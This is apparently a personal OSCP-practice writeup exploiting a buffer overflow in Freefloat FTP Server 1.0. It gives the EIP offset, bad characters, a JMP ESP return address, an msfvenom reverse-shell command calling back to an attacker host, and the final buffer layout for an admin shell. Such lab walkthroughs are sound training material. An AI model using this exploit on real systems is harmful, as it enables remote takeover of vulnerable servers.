Exploiting Freefloat FTP Server 1.0 - 'REST' / 'PASV' Remote Buffer Overflow Vulnerability

I really enjoy playing around with these memory corruption exploits so I thought I’d start doing writeups on the buffer overflow vulns I use for practice while working toward the OSCP.

The goal is twofold: to refine my exploit development procedures and to improve my ability to convey technical concepts such that someone can follow my instructions and achieve similar results.

The proof of concept exploit and vulnerable application executables are available on Exploit-DB here: https://www.exploit-db.com/exploits/17546.


Target Environment Prerequisites:

Exploiting the Vulnerability

Determine or Validate Offset

  1. Use msf-pattern_create -l 500 to generate a payload of length 500 based on the original proof of concept. Use this payload as the buf value. msf-pattern_create payload

  2. Send the payload to the vulnerable FTP server and note the contents of EIP at crash time. debugger at crash time

  3. Use msf-pattern_offset -q 41326941 to locate the value that overwrites EIP at crash time. msf-pattern_offset search for the value in EIP

  4. Using the debugger, view the code for FTPServer.exe in the CPU (Window > Executable Modules > Right click FTPServer.exe > View code in CPU). In the upper right Registers pane, validate that the EIP is overwritten with 4 ‘B’ s (42424242) at crash time after sending the payload buf = 'A' * 246 + 'B' * 4. EIP filled with 42424242

The offset value determines where the shellcode will be placed within the buffer structure.

Conduct Bad Character Analysis

  1. Determine bad shellcode characters by sending all possible characters after the offset and 4 ‘B’s (space for memory address) and observing where the payload is truncated (bad characters: \x00\x0a\x0d\xff). In the screenshot below, I have removed the offending bad characters from the payload. I included \xff in my final msfvenom command but didn’t observe it causing issues in the hex dump. final bad char payload

  2. Search for 42424242 in the lower right stack pane (Right click pane > Search for binary string, enter 42424242 in HEX box), copy (right click memory address > Copy to clipboard) the memory address of the location, right click the lower left pane, and use the Go To function to locate that memory address. As shown in the screenshot below, the memory address is the very first value of what’s copied from the stack pane. The others are two representations of the values at that address. Remove them before clicking OK. locating the memory address
  3. The first value in the hex dump for that memory address should be 01 from the bad character buffer. Repeat the process until the entire buffer can be sent without causing truncation. bad character analysis Example of \x0a as bad character

Bad characters are used as an input to msfvenom when it’s time to generate shellcode for the target system.

Redirect Execution Flow

  1. Analyze a supporting executable module with Mona to locate a JMP ESP instruction. Use !mona find -s "\xff\xe4" -m ntdll.dll to locate a JMP ESP instruction. I started with ntdll since it’s used in the proof of concept. One of the JMP ESP instructions from ntdll can be used to redirect the execution flow of the program to some shellcode. As shown in the screenshot below, the memory addresses for JMP ESP instructions are 77f1e871, 77f472d9, and 77f60ad0. mona output

  2. Set a breakpoint at the JMP ESP instruction at 77f1e871. View the ntdll module in the CPU (Click Window > Executable Modules > Right click ntdll > View Code in CPU). Locate the instruction (Right click the upper left pane > Follow Expression and enter the JMP ESP memory address). Right click its memory address > Breakpoint > Toggle or highlight the address and press F2 to set a breakpoint. jmp esp breakpoint

  3. Send the payload with JMP ESP address in little endian format (\x71\xe8\xf1\x77) in place of the 4 ‘B’s. Execution breaks at the JMP ESP instruction. After continuing past the breakpoint (Debug > Step Over), the program crashes when execution flow hits the contents of the memory address pointed to by ESP. As shown in the screenshot below, ESP points to memory address 02c3fc00 at crash time. The area which is currently full of ‘C’ characters will hold the shellcode. control of execution flow

Once program execution flow is attacker-controlled, the real fun begins!

Make it Dangerous

  1. Generate shellcode for the target system. While debugging the executable, I noticed references to SEH (structured exception handling), so that’s what I did for the EXITFUNC in msfvenom and multihandler options. shellcode: msfvenom -p windows/shell_reverse_tcp LHOST=<attacker IP> LPORT=443 EXITFUNC=seh -f c -b '\x00\x0a\x0d\xff' -e x86/shikata_ga_nai

  2. Craft the final buffer structure. Replace the ‘C’ characters with reverse shell shellcode. I added the NOPs for padding before the shellcode based on the original proof of concept and padded with a couple of NOPs after the shellcode. final buffer structure: buf = "\x41" * 246 + '\x71\xe8\xf1\x77' + '\x90' * 20 + shellcode + '\x90' * 2

Get That Shell

  1. Configure a Metasploit multihandler with options that match the shellcode configuration and start a listener. I usually run it with exploit -j to let the multihandler run in the background as a job. Running multihandler

  2. Send the payload to the vulnerable host on port 21. Receive admin shell with multihandler. Type sessions -i <session #> to drop into the remote command shell. Multihandler admin shell


That’s about it, y’all. Happy hacking! 🔮🔥🐚